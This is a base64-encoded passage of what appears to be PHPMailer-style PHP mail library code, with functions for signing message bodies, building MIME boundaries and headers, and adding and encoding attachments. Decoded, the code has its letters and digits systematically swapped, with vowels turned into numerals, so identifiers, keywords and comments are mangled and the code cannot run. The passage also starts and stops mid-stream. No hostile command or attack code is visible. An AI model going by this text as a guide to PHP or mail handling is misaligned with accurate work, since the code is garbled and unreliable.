HQxY2hBbGwoJzF0dDFjaG01bnQnLCAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgZDVmMTNsdDoNCiAgICAgICAgICAgICAgICAvLyBjMXRjaCBjMXM1ICdwbDE0bicgMW5kIGMxczUgJycNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+NHNFcnIycigpKSB7DQogICAgICAgICAgICAkYjJkeSA9ICcnOw0KICAgICAgICB9IDVsczU0ZiAoJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgNGYgKCFkNWY0bjVkKCdQS0NTN19URVhUJykpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXh0NW5zNDJuX200c3M0bmcnKSAuICcycDVuc3NsJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIEBUT0RPIHcyM2xkIGI1IG40YzUgdDIgM3M1IHBocDovL3Q1bXAgc3RyNTFtcyBoNXI1LCBiM3QgbjU1ZCB0MiB3cjFwIGYyciBQSFAgPCBpLjYNCiAgICAgICAgICAgICAgICAkZjRsNSA9IHQ1bXBuMW0oc3lzX2c1dF90NW1wX2Q0cigpLCAnbTE0bCcpOw0KICAgICAgICAgICAgICAgIDRmIChmMWxzNSA9PT0gZjRsNV9wM3RfYzJudDVudHMoJGY0bDUsICRiMmR5KSkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdzNGduNG5nJykgLiAnIEMyM2xkIG4ydCB3cjR0NSB0NW1wIGY0bDUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHM0Z241ZCA9IHQ1bXBuMW0oc3lzX2c1dF90NW1wX2Q0cigpLCAnczRnbjVkJyk7DQogICAgICAgICAgICAgICAgLy9XMnJrMXIyM25kIGYyciBQSFAgYjNnIGh0dHBzOi8vYjNncy5waHAubjV0L2IzZy5waHA/NGQ9ZTk2OTcNCiAgICAgICAgICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPnM0Z25fNXh0cjFjNXJ0c19mNGw1KSkgew0KICAgICAgICAgICAgICAgICAgICAkczRnbiA9IEAycDVuc3NsX3BrY3M3X3M0Z24oDQogICAgICAgICAgICAgICAgICAgICAgICAkZjRsNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICRzNGduNWQsDQogICAgICAgICAgICAgICAgICAgICAgICAnZjRsNTovLycgLiByNTFscDF0aCgkdGg0cy0+czRnbl9jNXJ0X2Y0bDUpLA0KICAgICAgICAgICAgICAgICAgICAgICAgMXJyMXkoJ2Y0bDU6Ly8nIC4gcjUxbHAxdGgoJHRoNHMtPnM0Z25fazV5X2Y0bDUpLCAkdGg0cy0+czRnbl9rNXlfcDFzcyksDQogICAgICAgICAgICAgICAgICAgICAgICBuM2xsDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJHM0Z24gPSBAMnA1bnNzbF9wa2NzN19zNGduKA0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDUsDQogICAgICAgICAgICAgICAgICAgICAgICAkczRnbjVkLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2Y0bDU6Ly8nIC4gcjUxbHAxdGgoJHRoNHMtPnM0Z25fYzVydF9mNGw1KSwNCiAgICAgICAgICAgICAgICAgICAgICAgIDFycjF5KCdmNGw1Oi8vJyAuIHI1MWxwMXRoKCR0aDRzLT5zNGduX2s1eV9mNGw1KSwgJHRoNHMtPnM0Z25fazV5X3Axc3MpLA0KICAgICAgICAgICAgICAgICAgICAgICAgbjNsbCwNCiAgICAgICAgICAgICAgICAgICAgICAgIFBLQ1M3X0RFVEFDSEVELA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM0Z25fNXh0cjFjNXJ0c19mNGw1DQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmICgkczRnbikgew0KICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmNGw1KTsNCiAgICAgICAgICAgICAgICAgICAgJGIyZHkgPSBmNGw1X2c1dF9jMm50NW50cygkczRnbjVkKTsNCiAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkczRnbjVkKTsNCiAgICAgICAgICAgICAgICAgICAgLy9UaDUgbTVzczFnNSByNXQzcm41ZCBieSAycDVuc3NsIGMybnQxNG5zIGIydGggaDUxZDVycyAxbmQgYjJkeSwgczIgbjU1ZCB0MiBzcGw0dCB0aDVtIDNwDQogICAgICAgICAgICAgICAgICAgICRwMXJ0cyA9IDV4cGwyZDUoIlxuXG4iLCAkYjJkeSwgYSk7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5NSU1FSDUxZDVyIC49ICRwMXJ0c1swXSAuICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAgICAgJGIyZHkgPSAkcDFydHNbNl07DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZjRsNSk7DQogICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJHM0Z241ZCk7DQogICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ3M0Z240bmcnKSAuIDJwNW5zc2xfNXJyMnJfc3RyNG5nKCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gYzF0Y2ggKHBocG0xNGw1ckV4YzVwdDQybiAkNXhjKSB7DQogICAgICAgICAgICAgICAgJGIyZHkgPSAnJzsNCiAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRiMmR5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFI1dDNybiB0aDUgc3QxcnQgMmYgMSBtNXNzMWc1IGIyM25kMXJ5Lg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjIzbmQxcnkNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRjaDFyUzV0DQogICAgICogQHAxcjFtIHN0cjRuZyAkYzJudDVudFR5cDUNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1bmMyZDRuZw0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIGc1dEIyM25kMXJ5KCRiMjNuZDFyeSwgJGNoMXJTNXQsICRjMm50NW50VHlwNSwgJDVuYzJkNG5nKQ0KICAgIHsNCiAgICAgICAgJHI1czNsdCA9ICcnOw0KICAgICAgICA0ZiAoJGNoMXJTNXQgPT0gJycpIHsNCiAgICAgICAgICAgICRjaDFyUzV0ID0gJHRoNHMtPkNoMXJTNXQ7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCRjMm50NW50VHlwNSA9PSAnJykgew0KICAgICAgICAgICAgJGMybnQ1bnRUeXA1ID0gJHRoNHMtPkMybnQ1bnRUeXA1Ow0KICAgICAgICB9DQogICAgICAgIDRmICgkNW5jMmQ0bmcgPT0gJycpIHsNCiAgICAgICAgICAgICQ1bmMyZDRuZyA9ICR0aDRzLT5FbmMyZDRuZzsNCiAgICAgICAgfQ0KICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT50NXh0TDRuNSgnLS0nIC4gJGIyM25kMXJ5KTsNCiAgICAgICAgJHI1czNsdCAuPSBzcHI0bnRmKCdDMm50NW50LVR5cDU6ICVzOyBjaDFyczV0PSVzJywgJGMybnQ1bnRUeXA1LCAkY2gxclM1dCk7DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPkxFOw0KICAgICAgICAvLyBSRkM2b3U2IHAxcnQgaSBzMXlzIDdiNHQgNHMgMXNzM201ZCA0ZiBuMnQgc3A1YzRmNDVkDQogICAgICAgIDRmICgkNW5jMmQ0bmcgIT0gJzdiNHQnKSB7DQogICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nJywgJDVuYzJkNG5nKTsNCiAgICAgICAgfQ0KICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5MRTsNCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm4gdGg1IDVuZCAyZiAxIG01c3MxZzUgYjIzbmQxcnkuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRiMjNuZDFyeQ0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVuZEIyM25kMXJ5KCRiMjNuZDFyeSkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+TEUgLiAnLS0nIC4gJGIyM25kMXJ5IC4gJy0tJyAuICR0aDRzLT5MRTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNXQgdGg1IG01c3MxZzUgdHlwNS4NCiAgICAgKiBQSFBNMTRsNXIgMm5seSBzM3BwMnJ0cyBzMm01IHByNXM1dCBtNXNzMWc1IHR5cDVzLA0KICAgICAqIG4ydCAxcmI0dHIxcnkgTUlNRSBzdHIzY3QzcjVzLg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIHM1dE01c3MxZzVUeXA1KCkNCiAgICB7DQogICAgICAgICR0eXA1ID0gMXJyMXkoKTsNCiAgICAgICAgNGYgKCR0aDRzLT4xbHQ1cm4xdDR2NUV4NHN0cygpKSB7DQogICAgICAgICAgICAkdHlwNVtdID0gJzFsdCc7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT40bmw0bjVJbTFnNUV4NHN0cygpKSB7DQogICAgICAgICAgICAkdHlwNVtdID0gJzRubDRuNSc7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT4xdHQxY2htNW50RXg0c3RzKCkpIHsNCiAgICAgICAgICAgICR0eXA1W10gPSAnMXR0MWNoJzsNCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+bTVzczFnNV90eXA1ID0gNG1wbDJkNSgnXycsICR0eXA1KTsNCiAgICAgICAgNGYgKCR0aDRzLT5tNXNzMWc1X3R5cDUgPT0gJycpIHsNCiAgICAgICAgICAgICR0aDRzLT5tNXNzMWc1X3R5cDUgPSAncGwxNG4nOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRjJybTF0IDEgaDUxZDVyIGw0bjUuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHAxcjFtIHN0cjRuZyAkdjFsMzUNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBoNTFkNXJMNG41KCRuMW01LCAkdjFsMzUpDQogICAgew0KICAgICAgICByNXQzcm4gJG4xbTUgLiAnOiAnIC4gJHYxbDM1IC4gJHRoNHMtPkxFOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFI1dDNybiAxIGYycm0xdHQ1ZCBtMTRsIGw0bjUuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICR2MWwzNQ0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHQ1eHRMNG41KCR2MWwzNSkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdjFsMzUgLiAkdGg0cy0+TEU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDF0dDFjaG01bnQgZnIybSAxIHAxdGggMm4gdGg1IGY0bDVzeXN0NW0uDQogICAgICogUjV0M3JucyBmMWxzNSA0ZiB0aDUgZjRsNSBjMjNsZCBuMnQgYjUgZjIzbmQgMnIgcjUxZC4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXRoIFAxdGggdDIgdGg1IDF0dDFjaG01bnQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNSBPdjVycjRkNXMgdGg1IDF0dDFjaG01bnQgbjFtNS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1bmMyZDRuZyBGNGw1IDVuYzJkNG5nIChzNTUgJEVuYzJkNG5nKS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0eXA1IEY0bDUgNXh0NW5zNDJuIChNSU1FKSB0eXA1Lg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGQ0c3AyczR0NDJuIEQ0c3AyczR0NDJuIHQyIDNzNQ0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZEF0dDFjaG01bnQoJHAxdGgsICRuMW01ID0gJycsICQ1bmMyZDRuZyA9ICdiMXM1ZXUnLCAkdHlwNSA9ICcnLCAkZDRzcDJzNHQ0Mm4gPSAnMXR0MWNobTVudCcpDQogICAgew0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgNGYgKCFANHNfZjRsNSgkcDF0aCkpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdmNGw1XzFjYzVzcycpIC4gJHAxdGgsIHM1bGY6OlNUT1BfQ09OVElOVUUpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBJZiAxIE1JTUUgdHlwNSA0cyBuMnQgc3A1YzRmNDVkLCB0cnkgdDIgdzJyayA0dCAyM3QgZnIybSB0aDUgZjRsNSBuMW01DQogICAgICAgICAgICA0ZiAoJHR5cDUgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAkdHlwNSA9IHM1bGY6OmY0bDVuMW01VDJUeXA1KCRwMXRoKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJGY0bDVuMW01ID0gYjFzNW4xbTUoJHAxdGgpOw0KICAgICAgICAgICAgNGYgKCRuMW01ID09ICcnKSB7DQogICAgICAgICAgICAgICAgJG4xbTUgPSAkZjRsNW4xbTU7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aDRzLT4xdHQxY2htNW50W10gPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAwID0+ICRwMXRoLA0KICAgICAgICAgICAgICAgIDYgPT4gJGY0bDVuMW01LA0KICAgICAgICAgICAgICAgIGEgPT4gJG4xbTUsDQogICAgICAgICAgICAgICAgbyA9PiAkNW5jMmQ0bmcsDQogICAgICAgICAgICAgICAgdSA9PiAkdHlwNSwNCiAgICAgICAgICAgICAgICBpID0+IGYxbHM1LCAvLyA0c1N0cjRuZ0F0dDFjaG01bnQNCiAgICAgICAgICAgICAgICBlID0+ICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgICAgICA3ID0+IDANCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm4gdGg1IDFycjF5IDJmIDF0dDFjaG01bnRzLg0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QXR0MWNobTVudHMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT4xdHQxY2htNW50Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEF0dDFjaCAxbGwgZjRsNSwgc3RyNG5nLCAxbmQgYjRuMXJ5IDF0dDFjaG01bnRzIHQyIHRoNSBtNXNzMWc1Lg0KICAgICAqIFI1dDNybnMgMW4gNW1wdHkgc3RyNG5nIDJuIGYxNGwzcjUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNHNwMnM0dDQybl90eXA1DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjIzbmQxcnkNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiAxdHQxY2hBbGwoJGQ0c3AyczR0NDJuX3R5cDUsICRiMjNuZDFyeSkNCiAgICB7DQogICAgICAgIC8vIFI1dDNybiB0NXh0IDJmIGIyZHkNCiAgICAgICAgJG00bTUgPSAxcnIxeSgpOw0KICAgICAgICAkYzRkVW40cSA9IDFycjF5KCk7DQogICAgICAgICQ0bmNsID0gMXJyMXkoKTsNCg0KICAgICAgICAvLyBBZGQgMWxsIDF0dDFjaG01bnRzDQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICAvLyBDaDVjayA0ZiA0dCA0cyAxIHYxbDRkIGQ0c3AyczR0NDJuX2Y0bHQ1cg0KICAgICAgICAgICAgNGYgKCQxdHQxY2htNW50W2VdID09ICRkNHNwMnM0dDQybl90eXA1KSB7DQogICAgICAgICAgICAgICAgLy8gQ2g1Y2sgZjJyIHN0cjRuZyAxdHQxY2htNW50DQogICAgICAgICAgICAgICAgJHN0cjRuZyA9ICcnOw0KICAgICAgICAgICAgICAgICRwMXRoID0gJyc7DQogICAgICAgICAgICAgICAgJGJTdHI0bmcgPSAkMXR0MWNobTVudFtpXTsNCiAgICAgICAgICAgICAgICA0ZiAoJGJTdHI0bmcpIHsNCiAgICAgICAgICAgICAgICAgICAgJHN0cjRuZyA9ICQxdHQxY2htNW50WzBdOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRwMXRoID0gJDF0dDFjaG01bnRbMF07DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJDRuY2xoMXNoID0gbWRpKHM1cjQxbDR6NSgkMXR0MWNobTVudCkpOw0KICAgICAgICAgICAgICAgIDRmICg0bl8xcnIxeSgkNG5jbGgxc2gsICQ0bmNsKSkgew0KICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJDRuY2xbXSA9ICQ0bmNsaDFzaDsNCiAgICAgICAgICAgICAgICAkbjFtNSA9ICQxdHQxY2htNW50W2FdOw0KICAgICAgICAgICAgICAgICQ1bmMyZDRuZyA9ICQxdHQxY2htNW50W29dOw0KICAgICAgICAgICAgICAgICR0eXA1ID0gJDF0dDFjaG01bnRbdV07DQogICAgICAgICAgICAgICAgJGQ0c3AyczR0NDJuID0gJDF0dDFjaG01bnRbZV07DQogICAgICAgICAgICAgICAgJGM0ZCA9ICQxdHQxY2htNW50WzddOw0KICAgICAgICAgICAgICAgIDRmICgkZDRzcDJzNHQ0Mm4gPT0gJzRubDRuNScgJiYgMXJyMXlfazV5XzV4NHN0cygkYzRkLCAkYzRkVW40cSkpIHsNCiAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRjNGRVbjRxWyRjNGRdID0gdHIzNTsNCg0KICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKCctLSVzJXMnLCAkYjIzbmQxcnksICR0aDRzLT5MRSk7DQogICAgICAgICAgICAgICAgLy9Pbmx5IDRuY2wzZDUgMSBmNGw1bjFtNSBwcjJwNXJ0eSA0ZiB3NSBoMXY1IDJuNQ0KICAgICAgICAgICAgICAgIDRmICghNW1wdHkoJG4xbTUpKSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtVHlwNTogJXM7IG4xbTU9IiVzIiVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXA1LA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPjVuYzJkNUg1MWQ1cigkdGg0cy0+czVjM3I1SDUxZDVyKCRuMW01KSksDQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gc3ByNG50ZigNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LVR5cDU6ICVzJXMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cDUsDQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLy8gUkZDNm91NiBwMXJ0IGkgczF5cyA3YjR0IDRzIDFzczNtNWQgNGYgbjJ0IHNwNWM0ZjQ1ZA0KICAgICAgICAgICAgICAgIDRmICgkNW5jMmQ0bmcgIT0gJzdiNHQnKSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKCdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nOiAlcyVzJywgJDVuYzJkNG5nLCAkdGg0cy0+TEUpOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIDRmICgkZDRzcDJzNHQ0Mm4gPT0gJzRubDRuNScpIHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoJ0MybnQ1bnQtSUQ6IDwlcz4lcycsICRjNGQsICR0aDRzLT5MRSk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgLy8gSWYgMSBmNGw1bjFtNSBjMm50MTRucyAxbnkgMmYgdGg1czUgY2gxcnMsIDR0IHNoMjNsZCBiNSBxMzJ0NWQsDQogICAgICAgICAgICAgICAgLy8gYjN0IG4ydCAydGg1cnc0czU6IFJGQ2E2OG8gJiBSRkNhMHVpIGkuNg0KICAgICAgICAgICAgICAgIC8vIEY0eDVzIDEgdzFybjRuZyA0biBJRVRGJ3MgbXNnbDRudCBNSU1FIGNoNWNrNXINCiAgICAgICAgICAgICAgICAvLyBBbGwydyBmMnIgYnlwMXNzNG5nIHRoNSBDMm50NW50LUQ0c3AyczR0NDJuIGg1MWQ1ciB0MnQxbGx5DQogICAgICAgICAgICAgICAgNGYgKCEoNW1wdHkoJGQ0c3AyczR0NDJuKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSA9ICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkbjFtNSkpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAocHI1Z19tMXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw/PV0vJywgJDVuYzJkNWRfbjFtNSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlczsgZjRsNW4xbTU9IiVzIiVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZDRzcDJzNHQ0Mm4sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUgLiAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCQ1bmMyZDVkX24xbTUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlczsgZjRsNW4xbTU9JXMlcycsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPkxFIC4gJHRoNHMtPkxFDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlcyVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGQ0c3AyczR0NDJuLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUgLiAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAvLyBFbmMyZDUgMXMgc3RyNG5nIDF0dDFjaG01bnQNCiAgICAgICAgICAgICAgICA0ZiAoJGJTdHI0bmcpIHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT41bmMyZDVTdHI0bmcoJHN0cjRuZywgJDVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT40c0VycjJyKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAnJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSAkdGg0cy0+NW5jMmQ1RjRsNSgkcDF0aCwgJDVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT40c0VycjJyKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAnJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICRtNG01W10gPSBzcHI0bnRmKCctLSVzLS0lcycsICRiMjNuZDFyeSwgJHRoNHMtPkxFKTsNCg0KICAgICAgICByNXQzcm4gNG1wbDJkNSgnJywgJG00bTUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuYzJkNSAxIGY0bDUgMXR0MWNobTVudCA0biByNXEzNXN0NWQgZjJybTF0Lg0KICAgICAqIFI1dDNybnMgMW4gNW1wdHkgc3RyNG5nIDJuIGYxNGwzcjUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkcDF0aCBUaDUgZjNsbCBwMXRoIHQyIHRoNSBmNGw1DQogICAgICogQHAxcjFtIHN0cjRuZyAkNW5jMmQ0bmcgVGg1IDVuYzJkNG5nIHQyIDNzNTsgMm41IDJmICdiMXM1ZXUnLCAnN2I0dCcsICc4YjR0JywgJ2I0bjFyeScsICdxMzJ0NWQtcHI0bnQxYmw1Jw0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiA1bmMyZDVGNGw1KCRwMXRoLCAkNW5jMmQ0bmcgPSAnYjFzNWV1JykNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICA0ZiAoITRzX3I